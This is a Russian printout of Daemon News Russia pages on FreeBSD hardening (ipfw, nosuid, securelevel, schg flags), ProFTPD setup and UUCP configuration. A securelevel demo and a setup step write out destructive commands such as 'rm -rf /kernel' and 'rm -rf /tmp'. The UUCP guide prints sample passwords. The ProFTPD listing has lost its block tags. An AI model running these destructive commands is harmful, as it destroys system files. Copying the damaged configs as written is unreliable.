нужен - отключайте его выполнение. Некоторые маны, в которых Вы могли найти полезную и имеющую отношение к сетевой конфигурации: inetd, ftpd, telnetd, fingerd, syslogd, comsat, talkd, rshd, rlogind, и inetd.conf. Смотрите также на ссылки ("SEE ALSO") указанные на этих страницах. ipfw (IP FireWall) IP Firewall фильтрует пакеты: ни больше, ни меньше. Тем не менее, Вы должны рассмотреть поддержку ipfw в ядре. Я обычно компилирую поддержку для ipfw в большинстве своих машинах, и в большинстве моих ядер config выглядит приблизительно так: options IPFIREWALL #finger options IPFIREWALL_VERBOSE #log options IPFIREWALL_DEFAULT_TO_ACCEPT Первая строка включает в ядро основную IP Firewall поддержку. Вторая строка конфигурирует ipfw, чтобы зарегистрировать принятые или отвергнутые пакеты. Третья строка делает точно что сказано: принять любые соединения и пакеты от всех по умолчанию. Если не будет этой строки, ifpw отвергнет все пакеты по умолчанию. Примечание. ИСКЛЮЧИТЕ ОПЦИЮ ЕСЛИ ВЫ НЕ ЗНАЕТЕ ЧТО ИЛИ НЕ ПОНИМАЕТЕ ЧТО ДЕЛАЕТЕ!!! Это неправильный метод в конфигурирования firewall'а. Все пакеты должны быть отвергнуты по умолчанию. НЕ добавляйте опцию IPFIREWALL_DEFAULT_TO_ACCEPT если Вы строите безопасную систему или firewall. Убедитесь, что сначала все пакеты отвергнуты по умолчанию, а только после используйте правила дополнения, чтобы допустить соединения/пакеты. Смотрите / etc/rc.firewall для более подробной информации. Небольшое обозрение по /etc/rc.firewall и примерные файлы конфигурации, а также схему установки firewall'а - смотрите URL внизу страницы. log_in_vain Вы можете также изменить некоторые полезные переменные ядра через команду sysctl: # sysctl -w net.inet.tcp.log_in_vain=1 # sysctl -w net.inet.udp.log_in_vain=1 Это обеспечит Ваc регистрацией предпринимаемых соединений, которые сервер не умееет выполнять. Например, если Вы не имеете сервер DNS на вашем компьютере и кто-то пытается http://www.freebsd.bip.ru/fbsdandsec.shtml (6 of 12)10.04.2004 17:24:24
Daemon News Russia
использовать ваш компьютер как DNS, Вы увидите нижеследующее сообщение: Connection attempt UDP yourIP:53 from otherIP:X (где X - некоторый порт >1023) Это сообщение можно увидеть с помощью команды # dmesg dmesg показывает системный буфер сообщений ядра. Но в буфере содержится небольшое количество сообщений. Эти же сообщения регистрируются в /var/log/messages # tail -1 /var/log/messages Jun 12 19:36:03 machi /kernel: Connection attempt UDP yourIP:53 from otherIP:X Заключение Итак, Вы узнали кое-что о теории безопасности, и, соответственно, можете сделать вашу машину более безопасной чем, ранее. Теперь вы можете можете сделать некоторые манипуляции, для того, чтобы проверить, что все вышесделанное работает: $ netstat -na | grep LISTEN эта команда сообщит Вам какие порты имеют сервисы, ждущие соединение. Чем меньше - тем лучше :) Тот, кто будет выполнять сканирование портов, чтобы обнаружить какие порты у вас открыты - увидит тоже самое. Также убедитесь, что syslog действительно регистрирует сообщения: # cd /var/протокол # tail -10 fingerd ftpd messages Если Вы не видите что-либо в ваших протоколах, убедитесь, что, Вы перезапустили inetd и syslogd процессы: # kill -HUP `cat /var/run/syslog.pig` `cat /var/run/inetd.pid` Файловые системы Поскольку в UNIX все считается файлом, очень важно правильно защищать ваши файловые системы. Этот процесс начинается прежде, чем установка самой OS: Вам нужно вычислить и разбить жесткий диск на разделы. О чем стоит задуматься и что Вы должны знать? Первое. Вы можете монтировать разные файловые системы разными параметрами. (некоторые примеры ниже). http://www.freebsd.bip.ru/fbsdandsec.shtml (7 of 12)10.04.2004 17:24:24
Daemon News Russia
Второе. Возможно Вы захотите экспортировать файловые системы, тогда Вы будете иметь более прозрачное управление. Если Вы пришли из Linux-мира, обратите внимание, что пока Linux устанавливает всю ОС на один корневой раздел "/", FreeBSD по умолчанию делает установку в три файловых системы "/", "/usr" и "/var". Это облегчает использование некоторых программ (например, команда dump). Есть некоторые преимущества и в безопасности. Одна из таких вещей, которые я обычно делаю - разделение разделов на области, где пользователи имеют право писать и области, где пользователи не имеют право писать. Области, где пользователи имеют право писать, следует смонтировать с опцией "nosuid". Итак, Вы должны иметь один раздел для директорий пользователей: /home или /usr/home. Также Вы можете создать отдельный раздел для /var/tmp, а после указать ваш /tmp на этот раздел: # rm -rf /tmp # ln -s /var/tmp /tmp Например, Вы можете сделать следующее: # cat /etc/fstab # Device Mountpoint FStype Options Dump Pass # /dev/sd0s1b none
swap sw 0 0
/dev/sd0s1a / ufs rw 1 1 /dev/sd0s1g /usr ufs rw 2 2 /dev/sd0s1h /usr/home ufs rw,nosuid 2 2 /dev/sd0s1f /var ufs rw 2 2 /dev/sd0s1e /var/tmp ufs rw,nosuid 2 2 proc /proc procfs rw 0 0 Вам следует убедиться, что все директории где пользователи могут писать, или установлены в "nosuid" или с помощью chmod в такое положение, что пользователи ничего не смогут написать. По умолчанию во FreeBSD это можно сделать с /var/spool/uucppublic или Вы можете установить вашу файловую систему "/var" в положение "-nosuid". # chmod o-w /var/spool/uucppublic Если Вы хотите найти все ваши директории исполнительного листа, выпустите:
http://www.freebsd.bip.ru/fbsdandsec.shtml (8 of 12)10.04.2004 17:24:24
Daemon News Russia
# find / -perm -0777 -type d -ls Как обнаружить какие файлы устанавливаются в вашей системе как suid или guid? Поищем с помощью find(1): # find / -perm -2000 -ls # find / -perm -4000 -ls Вы можете не использовать ключ "-ls" для более компактного вывода. Один из самых простых способов - сделать "chmod 000" на тех бинарных файлах, которые никогда не будете использовать. Обычно это касается uustat, uucico (если Вы никогда не будете пользоваться uucp). Это касается и ppp, и pppd в том случае, если Вы не собираетесь использовать на этой машине PPP. Если Вы не собираетесь печатать с этой машины или на эту машину, Вы можете установить "chmod 000" на lpr, lprq, lprm. Здесь Вы можете спросить: что может остановить хакера от простого демонтирования и последуюшего монтирования без флага "-nosuid"? Да, ничто, пока Вы не измените securelevel. Securelevel Ядро BSD имеет такое понятие, как securelevel. Пока некоторые спорят о том, правильно это или нет, следует применять это или нет, попробуем разобраться в чем тут дело. Securelevel - это уровень защиты, с которым выполняется ядро. Разные уровни подразумевают под собой разные методы проверки защиты системы. Очень туманно...
# man 8 init
Ядро работает с четырьмя другими уровнями безопасности. Любой процесс суперпользователя может поднять уровень безопасности, но только init может уменьшить его. Уровни безопасности:
-1 Всегда небезопасный режим. Запускайте систему на уровне 0.
0 Небезопасный режим. Флаги неизменения и добавления могут быть выключены. Со всеми устройствами можно производить операции записи и чтения в подлежащим их разрешениям.
1 Безопасный режим. Система неизменная и системное добавление-только флаги не может быть выключено; диски для монтирования файловых систем, устройства /dev/mem, http://www.freebsd.bip.ru/fbsdandsec.shtml (9 of 12)10.04.2004 17:24:24
Daemon News Russia
и /dev/kmem не могут быть открыты для записи.
2 Очень безопасный режим. Тоже, что и безопасный режим. Дополнение: диски не могут открываться для записи (исключая команду mount(2)) внезависимости от от того смонтированы они или нет. Этот уровень предотвращает подделку файловых систем демонтируя их, но также томозить прогон newfs(8) пока система многопользовательская.
Если уровень безопасности первоначально -1, то init оставит это неизменным. В противном случае, init размещает, чтобы выполнять систему на уровне 0 в однопользовательском режиме и уровне 1 для многопользовательского режима. Если Вам нужен уровень 2 - то его можно устанавить в однопользовательском режиме, например, в сценарии запуска /etc/rc, используя sysctl(8). Например, если ваша система - Web-сервер, Вы можете благополучно установить ваш securelevel равный 2. Но, если Вы запускаете X-сервер, установка securelevel на 1 или выше могут вызвать проблемы, поскольку X-серверу требуется открывать /dev/mem и /dev/kmem для записи, а securelevel 1 запрещает выполнять эти операции. Правда можно сделать и так: установить ваш securelevel после того, как Вы запустили X-сервер, но если Вы запустили Xсервер, у вас уже есть другие серьезные вопросы по безопасности, нежели беспокойство о securelevel. Узнаем об установленном securelevel: # sysctl kern.securelevel, чтобы поднять ваш securelevel: # sysctl -w kern.securelevel=X где X - 0, 1 или 2. У Вас могут возникать проблемы, если Вы модернизируете вашу систему с помощью "make world" или если Вы пересобираете ядро, при работе с securelevel 1 или выше. Дело в том, что по умолчанию "make install" установит ваше ядро с системным неизменным флагом: # ls -lo /kernel -r-xr-xr-x 1 root wheel schg 1061679 Июня 30 01:27 /kernel http://www.freebsd.bip.ru/fbsdandsec.shtml (10 of 12)10.04.2004 17:24:24
Daemon News Russia
Это "schg" предохраняет Ваше ядро: # id uid=0(root) gid=0(wheel) groups=0(wheel), 2(kmem) # sysctl kern.securelevel kern.securelevel: 2 # rm -rf /kernel rm: /kernel: Operation not permitted # mv /kernel /tmp/ mv: rename /kernel в /tmp/kernel: Operation not permitted Если Вы работаете в securelevel 1 или 2, этот флаг не может быть выключен: # chflags noschg /kernel chflags: /kernel: Operation not permitted Должен также отметить, что файл /boot.config может использоваться, чтобы изменить ядро, используемое при загрузке. Для того, чтобы это было невозможно сделать, следует следует сделать следующее: # touch /boot.config # chflags schg /boot.config По умолчанию Вы будете также иметь некоторые двоичные включенные с schg флагом установленным в вашей системе: # ls -lo /sbin | grep schg -r-x------ 1 bin bin schg 204800 Июля 19 20:38 init # ls -lo /bin | grep schg -r-sr-xr-x 1 root bin schg 192512 Июля 19 20:36 rcp Поскольку мы поговорили о системных неизменных флагах, можно рассматреть случай выполнения chflags schg на поддеревьях /sbin и /bin. Это сделает более трудным доступ к "черным ходам" в вашей системе (особенно при использовании securelevel). # chflags schg /bin/*
http://www.freebsd.bip.ru/fbsdandsec.shtml (11 of 12)10.04.2004 17:24:24
Daemon News Russia
# chflags schg /sbin/* Поскольку /sbin может быть перемещен и после этого создан новый /sbin, следует провести туже самую операцию над каталогами: # chflags schg /bin; chflags schg /sbin Помните! Если вы сделали достаточно много изменений на файловых флагах - это обязательно, в свою очередь, повлечет за собой проблемы при "make world". В этом случае можно предложить сделать "make world" в однопользовательском режиме. Дополнительную информацию о "make world" можно прочитать здесь: http://www.nothing-going-on.demon.co.uk/FreeBSD/make-world/make-world.html Маны, связанные с вышеуказанными темами: init(8), chflags(1), sysctl(8)
(c) 2001-2002 Daemon News Russia
http://www.freebsd.bip.ru/fbsdandsec.shtml (12 of 12)10.04.2004 17:24:24
Daemon News Russia
новости
\\ библиотека \\ софт \\ форум \\ ссылки \\ поиск \\ связь
ProFTPD в FreeBSD В данной статье речь пойдет о настройке популярного FTP-демона ProFTPD под FreeBSD. Сейчас речь пойдет о конфигурировании ProFTPD /www.proftpd.org/ под крупный сервер, обслуживающего несколько сотен виртуальных FTP-хостов. Перед нами стоят четыре задачи : ● ●
● ●
Сделать безопасный доступ на FTP сервер администраторам Сделать безопасный доступ на FTP сервер для пользователей держащих домашние странички на сервере www.matrix.ru. Сделать виртуальный FTP сервер для клиентов www.client.com Сделать безопасный анонимный FTP cервер www.guest.com.
Выбор операционной по мнению автора лежит на FreeBSD в силу ее надежности и корректной реализации chroot-ed. Итак приступим. Если Вы счастливый обладатель какого нибудь доступа в интернет то заходим в /usr/ports/ftp/ProFTPD набираем make , идем пить кофе, выпив кофе подходим к клавиатуре набираем make install и через 10 секунд ftp сервер готов. Сравните как просто ;). В портах FreeBSD находятся ссылки на сервер разработчиков и на свежие патчи к ProFTPD что намного предпочтительнее именно так ставить FTP демон чем через /stand/sysinstall - но если у вас нет и-нета то тогда именно так и придется поступать. Теперь займемся конфигурированием. По умолчанию конфигурационный файл находится в /usr/ local/etc/proftpd.conf а скрипт запуска в standalone режиме /usr/local/etc/rc.d/proftpd.sh. По поводу запуска ProFTPD есть два нюанса - можно запустить его в standalone режиме (как запускают обычную программу) а можно и через демон inetd. При запуске proftpd через inetd вы получаете экономию памяти, при запуске как standalone вы получаете большую гибкость но в любом случае не запускайте его под root-om. Первым делом создайте группу и пользователя ftp, под этим аккаунтом Вы будете запускать ProFTPD. Этот аккаунт не должен иметь shell-a и home directores. Предположим, что файлы вашего www сервера уже уже находятся на диске в отдельном разделе /clients/sites и /clients/ pages. Первый каталог нужен для виртуальных серверов а второй для хранения виртуальных страничек клиентов. Начинаем заполнять файл /usr/local/etc/proftpd.conf. Сразу оговоримся что реальный сервер мы не выставляем на всеобщее обозрение как ftp.server.com (ограничивая доступ только локальным администраторам), сервер нашего сайта имеет имя ftp.company.com (или www.company.com) , а виртуальный сервер нашего клиента ftp.client.com (или www.client. com). Заносим данные о нашем боевом сервере в /usr/local/etc/proftpd.conf: # Имя хоста на котором работает данный сервер, его # администратор и тип запуска ServerName ftp.server.ru ServerAdmin [email protected] # Выключаем строчку, информирующую о типе FTP сервера ServerIdent Off ServerType inetd # Порт сервера Port 21 # Ограничиваем время работы на ftp сессии и # период бездействия TimeoutIdle 600 TimeoutNoTransfer 900 # Устанавливаем маску для вновь создаваемых # файлов и каталогов Umask 022 MaxClients 50 MaxLoginAttempts 30 # Пользователь под которым работает FTP-демон User ftp Group ftp # Лог передаваемых файлов и # дополнительный для параноиков ;) TransferLog /var/log/ftp/server.log ExtendedLog /var/log/ftp/ server.log # Нижеописанные директивы нужны # на случай прорыва chroot. # Запишем их для всего сервера в директиве Global # Если администраторам необходимо работать с этими http://www.freebsd.bip.ru/proftpd.shtml (1 of 2)10.04.2004 17:24:25
Daemon News Russia
каталогами, то # Достаточно просто указать вместо "DenyAll" - "DenyUser !admin" DenyAll # Ограничиваем доступ к /var DenyAll # Ограничиваем доступ к /usr DenyAll # Домашний каталог по умолчанию берется от home # пользователя из /etc/passwd, но здесь мы ограничиваем # доступ только администраторам # на уровень выше, чем обычным пользователям # и запрещаем его всем кроме # нижеуказанных логинов администраторов DefaultRoot /clients/~ DenyUser !admin1, admin2 # Ограничиваем доступ к нашему серверу только по IP # хостов администраторов Order Allow,Deny Deny from all Allow from 192.168.1.1,192.168.1.2 Как Вы видите, синтактис конфигурационного файла очень подож на директивы, используемые в WEB сервере Apache. # На этом конфигурирование базовго хоста ftp.server.com # закончено. # Теперь начинаем конфигурирование нашего виртуального # ftp сервера ftp.client.com (дающий доступ к файлам на # www.company.com) . Этот сервер служит основным для # задания путей в домашних страничках пользователей, # например, предполагая что файлы и их расположение # ftp. company.com полностью совпадает с www.company.com # что дает указывать например в броузере http://www.company.com/~petya # и попадать на homepage пользователя petya. # Включаем информационную строку о типе сервер, # здесь может быть что # угодно вплоть до ftp Microsoft FTP Server 4.0 ;) ServerIdent On "The FTP Server our Company" ServerAdmin [email protected] ServerName www.company.com MaxClients 50 MaxLoginAttempts 10 TimeoutIdle 600 TimeoutNoTransfer 900 TransferLog /var/log/ftp/company.log ExtendedLog /var/log/ftp/ company_extended.log DefaultRoot ~ User ftp Group ftp # Разрешаем доступ к каталогам, # где хранятся homepage пользователей AllowAll Теперь конфигурируем виртуальные сервера наших клиентов. Предполагам что владелец виртуального сервера имеет login name - "client". ServerIdent On "The Client Virtual Site" ServerAdmin [email protected] ServerName "FTP Server" MaxClients 5 MaxLoginAttempts 3 DefaultRoot /clients/sites/www.client.com/ TransferLog /var/ log/ftp/www.client.com.log ExtendedLog /var/log/ftp/www.client.com_all.log TimeoutLogin 200 TimeoutIdle 600 TimeoutNoTransfer 900 User client Group client # Разрешаем доступ к каталогу, где находятся html # сервера и ограничивая доступ всем кроме # учетной владельца данного сайта. DenyAll ! client Теперь приступим к созданию конфигурации анонимного сервера. Предполагаем что он будет размещать файлы в /clients/public в подкаталогах "uploads" и "pub" : ServerIdent On "The Anonymous Virtual Site" ServerAdmin [email protected] ServerName "FTP Server" # Здесь число клиентов можно и побольше MaxClients 20 MaxLoginAttempts 3 TransferLog /var/log/ ftp/www.client.com.log ExtendedLog /var/log/ftp/www.client.com_all.log TimeoutLogin 200 TimeoutIdle 600 TimeoutNoTransfer 900 User ftp Group ftp DefaultRoot /clients/public # Записываем файлы сообщений которые появляются при входе в систему DisplayLogin welcome.msg DisplayFirstChdir . message # Заполняем директивы для uploads каталога # Разрешаем всем доступ Allow ALL # Запрещаем запись Deny All IgnoreHidden on DenyAll IgnoreHidden on Allow All IgnoreHidden on Deny All IgnoreHidden on AllowALL IgnoreHidden on Вот и готов файл конфигурации FTP сервера. После внесения изменений в конфигурационный файл не забывайте давал команду kill -HUP pid_proftpd или /usr/local/etc/rc.d/proftpd.sh stop , proftpd.start. Если у Вас включён ipfw, то в его правилах вы должны указать следующее : ipfw add pass tcp from any to any 20 ipfw add pass tcp from any 21 to any ipfw add pass tcp from any to any 21 ipfw add pass tcp from any 21 to any При этом мы предполагаем что мы запретили прохождение всех пакетов во всем протоколам, разрешив только явно указанные нами, что в принципе является хорошим тоном. Автор: Michael Vlasov (c) 2001-2002 Daemon News Russia
http://www.freebsd.bip.ru/proftpd.shtml (2 of 2)10.04.2004 17:24:25
Daemon News Russia
новости
\\ библиотека \\ софт \\ форум \\ ссылки \\ поиск \\ связь
UUCP - Unix to Unix Copy Система пересылки файлов по телефону. Если uucp правильно сконфигурировано, то его использование выглядит примерно так: uucp -r moj_fajl 'pulsar!fajl_tam' перешлет moj_fajl на удаленную машину pulsar. Хотя, скорее всего не сделает, из-за ограничений на права доступа. А, впрочем, такая команда скорее всего сработает: uucp -r moj_fajl 'pulsar!~' через некоторое время этот файл вы сможете обнаружить на машине pulsar в каталоге /usr/spool/uucppublic в этот каталог разрешено копирование с удаленных машин, для него используется специальное обозначение: "~" Пусть вас не удивляет, что в команде uucp использовались одинарные кавычки. Они нужны, чтобы заэкранировать "!" и "~" от вашего командного интерпретатора ksh или bash. Ключ -r в команде uucp нужен, чтобы НЕ ЗАСТАВЛЯТЬ нашу машину немедленно начинать звонить на pulsar. Она сама позвонит, в предусмотренное для этого время.
http://www.freebsd.bip.ru/uucp.shtml (1 of 14)10.04.2004 17:24:27
Daemon News Russia
uucp поддерживается на двух уровнях: 1. Пользовательский. Это команды uucp - постановка файла в очередь на удаленную пересылку, и uux - постановка в очередь на пересылку удаленной команды. 2. Системный. Периодически, автоматически запускается демон uucico - (UUCP Copy in Copy out). Он созванивается с удаленными машинами по телефону. На удаленной машине также запускается "встречный" демон uucico. Наш демон "проталкивает" на удаленную машину все файлы, которые к этому времени накопились в очереди на отправку туда. После этого он "принимает" файлы, которые приготовила для нас удаленная машина (их к нам проталкивает "встречный" демон uucico, а наш принимает). После этого сеанс uucico заканчивается. А пользователи обнаруживают, что у них возникли новые файлы. Предполагается, что системные администраторы на нашей и на удаленной машине не забыли правильно описать и проконфигурировать систему UUCP. Конфигурация нашей машины как UUCP клиента. После этого наша машина сможет звонить на удаленные машины и посылать/забирать оттуда файлы. Для этого мы должны задать: 1. Наше собственное UUCP имя. 2. Имя(имена) удаленной(ых) UUCP системы. 3. Телефонный номер(а), по которому нужно туда звонить.
http://www.freebsd.bip.ru/uucp.shtml (2 of 14)10.04.2004 17:24:27
Daemon News Russia
4. Login и пароль, которые выделены там для нашего uucp-account'а. 5. Порт, к которому подключен наш модем. 6. Наборщик - описание "AT" команд для управления нашим модемом. Эти данные задаются в нескольких конфигурационных файлах, которые должны лежать в каталоге /etc/uucp (или /usr/lib/uucp , или /usr/lib/uucp/taylor_config ) (или в каком нибудь другом, см. man uucp для более точной информации). Это файлы: Config # задает имя нашей машины (и многое другое) ; Systems # описывает удаленные uucp-системы: имя, но# мер телефона, uucp-logname, uucp-passwd ; Devices # порты, к которым подключены модемы. Dialers # описывает модемы-наборщики (систему AT-ко# манд). (А в Linux они называются: config, sys, port, dial) Итак, представим классический случай. У вас один Hayes-совместимый модем V32/V42bis на 14400 baud (GVC, ZyXEL, USRobotics...), подключенный к последовательному порту /dev/modem (если у вас порт называется /dev/contty03, вам никто не мешает сделать символический линк ln -s /dev/contty03 /dev/modem не так ли ?). Имя вашего узла fedf-uru. ВНИМАНИЕ. На большинстве Unix-ов выделены раздельные специальные файлы для одного и того-же порта: терминальная линия (для подключения терминала или модема, НА который будут звонить -
http://www.freebsd.bip.ru/uucp.shtml (3 of 14)10.04.2004 17:24:27
Daemon News Russia
используется для getty или ttymon), и линия с модемным управлением, на выход - например, чтоб звонить НАРУЖУ модемом. Эти специальные файлы и называются по разному, например: SunOS: /dev/ttyy01 IN, /dev/ttyz01 OUT Linux: /dev/ttyS1 IN, /dev/cua1 OUT ISC: /dev/ttyFD01 IN, /dev/ttyFM01 OUT SVR4/88: /dev/contty00 IN, /dev/??????? OUT На самом деле все не совсем так. Цитирую Linux-Serial-HOWTO: > There has been some discussion on the merits of /dev/mouse > and /dev/modem. I strongly discourage the use of these links. > In particular, if you are planning on using your modem for > dialin you will run into problems because the lock files will > not work correctly if you use /dev/modem. Also, Taylor UUCP does not support symlinks either. Однако uugetty позволяет корректно отрабатывать эту ситуацию. См. параметр ALTLOCK в /etc/defaults/getty файле. Вам надо подключиться к двум uucp-узлам: 1: Узел Релком, имя узла kiae, телефоны: 9469984, 9469994. Вы зарегистрированы там под именем/паролем uufedurp/ABCd8 2: Ваше московское отделение, имя узла fedfond, телефон 095125-7623. Вы зарегистрированы там под именем/паролем uufedurp/KLmn10 В каталоге /etc/uucp редактируем файлы Systems, Devices, Dialers
http://www.freebsd.bip.ru/uucp.shtml (4 of 14)10.04.2004 17:24:27
Daemon News Russia
Systems: kiae Any modem1 19200 946-9984 "" \n\r\d\r\d\r ogin:-BREAK-ogin: uufedurp ssword: ABCd8 fedfond Any modem1 19200 8w095-125-7623 "" \n\r ogin:-BREAK-ogin: uufedurp ssword: KLmn10 Devices: modem1 contty03 - 19200 gvc1440 Dialers: gvc1440 =,-, "" \M\dATZ\r\c OK\r \EATDP\T\r\c CONNECT \m\c А дальше идет описание Taylor-uucp. Проблема в том, что в стандартной поставке SVR4/88 _нет_ Taylor-uucp, а есть только т.н. HoneyDanBer-uucp, он же BNU (Basic Networking Utilities). Taylor новее и гибче, к тому же поддерживает два формата конфигурационных файлов - традиционный (Config, Systems, Devices, Dialers, ...) и свой (config, sys, port, dial, ...). Есть конвертер туда-обратно. В Linuxе Taylor-uucp скомпилирован так, чтобы сначала искать Taylor-конфигурацию в /usr/lib/uucp/taylor_config/, если там ничего нет - искать HDB-конфигурацию в /usr/lib/uucp/hdb_config/. IMHO главный изъян HDB - невозможность указывать альтернативные номера телефонов. Если вы используете не устаревший BNU-uucp, а Taylor-uucp 1.05: В каталоге /usr/lib/uucp/taylor_config создаем файлы config,
http://www.freebsd.bip.ru/uucp.shtml (5 of 14)10.04.2004 17:24:27
Daemon News Russia
sys, port, dial следующего содержания: config: hostname fedf-uru # Наше собственное имя sys: system kiae # Узел Релком time Any port modem1 # Имя описания порта в файле port speed 38400 chat "" \r\d ogin:-BREAK-ogin: uufedurp ssword: ABCd8 phone 946-9984 alternate # Второй телефонный номер. phone 946-9994 system fedfond # Московское отделение time Any port modem1 # Имя описания порта в файле port speed 38400 chat "" \n\r ogin:-BREAK-ogin: uufedurp ssword: KLmn10 phone 8=095-125-7623 port: port modem1 # Обозначение порта из файла sys type modem device /dev/modem speed 38400
http://www.freebsd.bip.ru/uucp.shtml (6 of 14)10.04.2004 17:24:27
Daemon News Russia
dialer gvc1440 # Имя наборщика-модема в файле dial dial: dialer gvc1440 # Обозначение наборщика из файла port # Строка инициализации модема. # Вместо \T будет подставлен телефонный номер chat "" ATZ OK ATH0E0Q0 OK ATDP\T CONNECT # ATZ - загрузить profile 0 # ATH0 - повесить трубку # ATE0 - no echo # ATQ0 - выводить код возврата chat-fail BUSY # Воспринимать как ошибку набора chat-fail ERROR chat-fail NO\sCARRIER chat-fail NO\sDIALTONE ---------------------------------------------------------------------------Все. Клиентская часть UUCP сконфигурирована. Теперь, чтобы "протолкнуть" посланные файлы, достаточно периодически выполнять команды: uucico -s kiae uucico -s fedfond А еще лучше, добавить эти команды в crontab, чтобы они выполнялись автоматически, по несколько раз в сутки. Конфигурирование UUCP с использованием sysadm.
http://www.freebsd.bip.ru/uucp.shtml (7 of 14)10.04.2004 17:24:27
Daemon News Russia
Все вышеперечисленные настройки можно сделать, используя утилиту системного администратора sysadm. Надо войти в меню network_services / basic_network Конфигурирование серверной части UUCP. Итак, мы уже можем звонить на чужие машины, и пересылать на них файлы. Теперь нужно сделать, чтобы чужие машины (клиенты) могли звонить нам. Для этого нужно: 1: Иметь описание звонящей нам uucp-системы в файле Systems для клиента такое же, как и для сервера. 2: Проверить права доступа для клиента в файле Permitions 2: Завести для него специальный uucp-login 3: Убедиться, что модем стоит в "Auto-answer" режиме, и на порт /dev/modem запущена программа getty (или ttymon), позволяющая логиниться по телефону на порт /dev/modem 1. Описание добавляется в файл Systems, (номер телефона и название порта не обязательны), если мы сами не собираемся туда звонить, но я бы посоветовал их вписать, для единообразия. 2. В файле /etc/passwd завести строчку вида: uupetrov:x:1002:14:UU Petrov:/var/spool/uucp:/usr/lib/uucp/uucico выполнить команды: pwconv passwd uupetrov
http://www.freebsd.bip.ru/uucp.shtml (8 of 14)10.04.2004 17:24:27
Daemon News Russia
3. Любой терминальной программой "войти" в модемный порт и выполнить команды atz0 # Загрузить пользовательский profile 0 ats0=1 # Регистр0=1 - снимать трубку после 1-го звонка at&w0 # Сохранить текущий setup в profile 0 at&y0 # Чтобы при включении питания загружался профайл 0 # at&f # загрузить заводские установки, если вы запутались # с профайлами, можно сделать модему "reset" Ввиду отсутствия коммуникационных программ в SVR4 (за исключением сумасшедшего "cu"), используйте "echo". echo atz0 > /dev/modem echo ats0=0 > /dev/modem echo at&w0 > /dev/modem # и так далее А еще лучше gold, там есть режим прямой связи с любым портом. 4. В файле /etc/inittab иметь строчку вида: c3:234:respawn:/usr/lib/saf/ttymon -g -d /dev/modem -l contty Что где лежит в системе UUCP. /usr/bin/uucp - переслать файлы с/на удаленную uucp-систему /usr/bin/uux - выполнить команду на удаленной uucp-системе /usr/bin/uustat - статистика по выполненным пересылкам /usr/lib/uucp/uu* - системные утилиты UUCP /etc/uucp - каталог конфигурационных файлов UUCP /usr/lib/uucp/taylor_config - конфигурация UUCP в Linux
http://www.freebsd.bip.ru/uucp.shtml (9 of 14)10.04.2004 17:24:27
Daemon News Russia
/usr/lib/uucp/ - конфигурация UUCP в других системах /var/spool/uucppublic - каталог в который можно пересылать файлы с удаленных машин /usr/spool/mqueue - очереди отправляемой электронной почты /usr/ucblib/mqueue - или здесь эта очередь ? /var/spool/uucp/"машина" - очередь файлов на отправку на "машину" /var/spool/uucp/.Log - статистика о работе uucp Осталось настроить нашу электронную почту. Если у вас самый простейший случай: вся ваша почта проходит через один "знающий" host, с которым вы соединены по uucp, то надо в файле /etc/sendmail.cf иметь такую строку: ... # "Smart" relay host (may be null) DSuucp-dom:kiae ... В этом случае вся ваша внешняя почта (т.е. отправляемая за пределы вашей локальной сети) будет переправляться по uucp на uucp-узел "kiae" и дальнейшей ее доставкой будет озабочен именно kiae. Предполагается, что он успешно справится с этой задачей. А еще чтобы было описание uucp-dom (ниже в том же файле). Кстати, чтобы всех окончательно запутать, sendmail.cf лежит вовсе
http://www.freebsd.bip.ru/uucp.shtml (10 of 14)10.04.2004 17:24:27
Daemon News Russia
не в /etc/, а в /usr/ucblib/. Если у вас какой-либо другой случай - то это - тяжелый случай. Дерзайте, успехов вам! # И надо сделать, чтоб сендмаил не отрезал 8-й бит у посылаемой почты # Если sendmail8.x.x, то в sendmail.cf: # strip message body to 7 bits on input? O7False # А еще бывает, что sendmail не знает, как правильно называется # наша машина. Тогда мы пишем что-то в таком стиле: Cwsystud.ras.ru Cwserver.systud.ras.ru Cwlocalhost Проверка работоспособности и отладка конфигурации. Для начала проверим, правильно ли подсоединен модем. Запускаем программу cu - эмулятор терминала. cu -l /dev/modem # Или как там у вас этот порт называется После этого вы переключитесь на работу со своим модемным портом. Все, что вы будете набирать с клавиатуры, будет перенаправляться в порт /dev/modem , все, что "приходит" с этого порта, будет рисоваться на вашем терминале. Попробуйте модемом набрать телефонный номер atdp100 Проверьте, правильно ли сконфигурирован "порт" модема и описа-
http://www.freebsd.bip.ru/uucp.shtml (11 of 14)10.04.2004 17:24:27
Daemon News Russia
ние системы в файле Systems. cu pulsar Проверьте права доступа к файлам /dev/modem, /dev/contty*. Должно быть (???): crw-rw---- 1 root uucp ... /dev/contty0 crw-rw---- 1 root uucp ... /dev/modem Запустите uucico с максимальным уровнем выдачи отладочной информации. Запускать надо из под пользователя uucp /usr/lib/uucp/uucico -r1 -x9 -f -s pulsar /usr/lib/uucp/uucico -x all -f -s kiae А затем посмотрите на содержание файлов со статистикой uucp в каталоге /var/spool/uucp : .Admin/audit.local .Log/ .Status/ ERRLOG LOGFILE SYSLOG Например, такой командой tail -f /var/uucp/.Admin/audit.local & tail -f /var/uucp/.Log/uucico/kiae По результатам переписки. Dmitry Mayorov Compulsory Health Insurance Fund
http://www.freebsd.bip.ru/uucp.shtml (12 of 14)10.04.2004 17:24:27
Daemon News Russia
Phone: +7 (812) 112-3517 St. Petersburg, Russia > Навешал фильтров на sendmail, rmail, > а вот это непонятно. Или они научились все из кои8 в исо пере> ворачивать на лету ? Нет, конечно, потребовалось лечить. Дело сильно упростило то обстоятельство, что внутри сети везде ISO. Перекодировать поэтому мне надо только то, что идет через UUCP, то бишь наружу. Для этого пришлось: 1. Поправить sendmail.cf: # RelCom UUCP - with ISO 8859-5 to KOI-8 translation Muucp-koi, P=/usr/local/bin/_uux, F=mDFMhu, S=52/31, R=21, M=100000, ^^^^^^^^^^^^^^^^^^^ мой, см. ниже A=_uux - -r -a$f -gC $h!rmail ($u) 2. Сделать /usr/local/bin/_uux из трех строк: #!/bin/sh PATH=:/usr/bin:/usr/local/bin:/usr/ucb:/bin: /usr/local/bin/iso-koi | /usr/bin/uux $* (iso-koi - понятно какой фильтр) Это все, на самом деле, весьма грязный hack - вряд ли стоит его включать в учебник. Оно, конечно, работает, но вот надо по крайней мере еще и правильный код возврата как-то обеспечить с проверкой ошибок и прочими фенечками. Чтобы принимаемая почта из KOI превращалась в ISO, достаточно:
http://www.freebsd.bip.ru/uucp.shtml (13 of 14)10.04.2004 17:24:27
Daemon News Russia
